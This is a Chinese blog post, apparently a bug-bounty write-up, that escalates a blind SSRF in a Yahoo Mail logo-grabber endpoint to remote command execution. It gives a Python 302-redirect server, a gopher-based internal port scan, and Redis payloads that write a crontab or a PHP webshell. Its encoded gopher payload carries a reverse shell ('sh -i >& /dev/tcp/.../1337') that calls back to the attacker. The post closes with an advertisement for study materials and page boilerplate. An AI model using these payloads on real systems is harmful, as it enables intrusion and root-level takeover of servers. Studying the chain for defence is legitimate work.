【网络安全】利用 Gopher 实现雅虎邮件 Blind SSRF 升级至 RCE远程命令执行_ssrf升级为rce

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
主机:mail.yahoo.com 
...

结果是:没有请求发送到 Burp Collaborator,推断目标服务器可能限制了 Gopher 协议,绕过方法之一是重定向。

测试是否支持重定向:

创建 Python http 服务器:

#!/usr/bin/env python3

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

# 判断参数数量是否正确
if len(sys.argv)-1 != 2:
    print("""
Usage: {} <port_number> <url>
    """.format(sys.argv[0]))
    sys.exit()


class Redirect(BaseHTTPRequestHandler):

    # 处理 GET 请求
    def do_GET(self):
        # 发送 302 状态码
        self.send_response(302)
        # 设置 Location 响应头,指定重定向的目标 URL
        self.send_header('Location', sys.argv[2])
        # 结束响应头
        self.end_headers()
    
    # 发生错误时的处理方式,也重定向到目标 URL
    def send_error(self, code, message=None):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

再将所有的GET流量都重定向到 Burp Collaborator URL:

python3 302redirect.py port “http://mycollaboratorurl/”

接着构造请求如下:

GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com 
...

在提交请求后,重定向被跟随,导致 Burp Collaborator URL受到了访问。

将重定向与 gopher 结合:

python3 302redirect.py port “gopher://mycollaboratorurl/”

再次构造相同的请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com 
...

在提交请求后,Burp Collaborator URL受到了访问,显然,重定向与gopher结合成功,则此时可以利用gopher协议访问内部IP。

要实现 gopher 协议的危害升级,可利用工具:gopherus

简单介绍一下gopherus:通过gopherus可构建和发送Gopher请求,并查看响应结果。其可以实现对 MySQL、FastCGI、Memcached、Redis、 Zabbix、SMTP 等的攻击。

由于127.0.0.1在不使用 gopher 的情况下不可访问,且测试数据可控,故测试127.0.0.1。

可以在主机上开启 MySQL 等服务,并记下其端口,再利用 gopherus工具进行 shell。也可通过 302 将网络服务器重定向到 gopher://127.0.0.1:port,然后提交请求来查看哪些端口是开放的:

GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com 
...

回显如下:

302redirect → gopher://127.0.0.1:3306 [响应时间:3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [响应时间:2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [响应时间:500ms]-OPEN
ETC…

可以看到 Redis 服务是开放的,针对 Redis 的利用方法分为两种:

1、利用写入计划任务来执行反弹shell操作

Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"

2、在知晓网站网站绝对路径的情况下,写入phpshell

Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"

选择方法一,构造反弹 shell 脚本如下:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69


*1 * * * * bash -c "sh -i >& /dev/tcp/xxxx/1337 0>&1"
#将输入和输出重定向至1337端口

*4
$6
config
$3
set
$3
dir
$14
/var/lib/redis
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save



对其编码得到:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

此时在端口 1337 上启动 Netcat 侦听器以捕获任何传入的反弹 shell

接着执行:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

再提交请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com 
...

结果如下图,运行 whoami 可以看到回显root,说明RCE成功。

在这里插入图片描述

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

(img-oezGjsL9-1715592570512)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 13
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfhub是一个CTF训练平台,提供了多个CTF挑战模块,其中包括了SSRF模块。SSRF(Server-Side Request Forgery)是一种攻击技术,可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中,你可以学习和实践SSRF攻击技术,并利用平台上提供的漏洞来进行实验。 在SSRF中,有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测,访问位于127.0.0.1的flag.php文件,从而获取敏感信息。 此外,在SSRF中还可以使用Gopher协议来攻击内网的服务,例如Redis、Mysql、FastCGI、Ftp等等,并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油,大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场,以及总结的思维导图和笔记](https://download.csdn.net/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值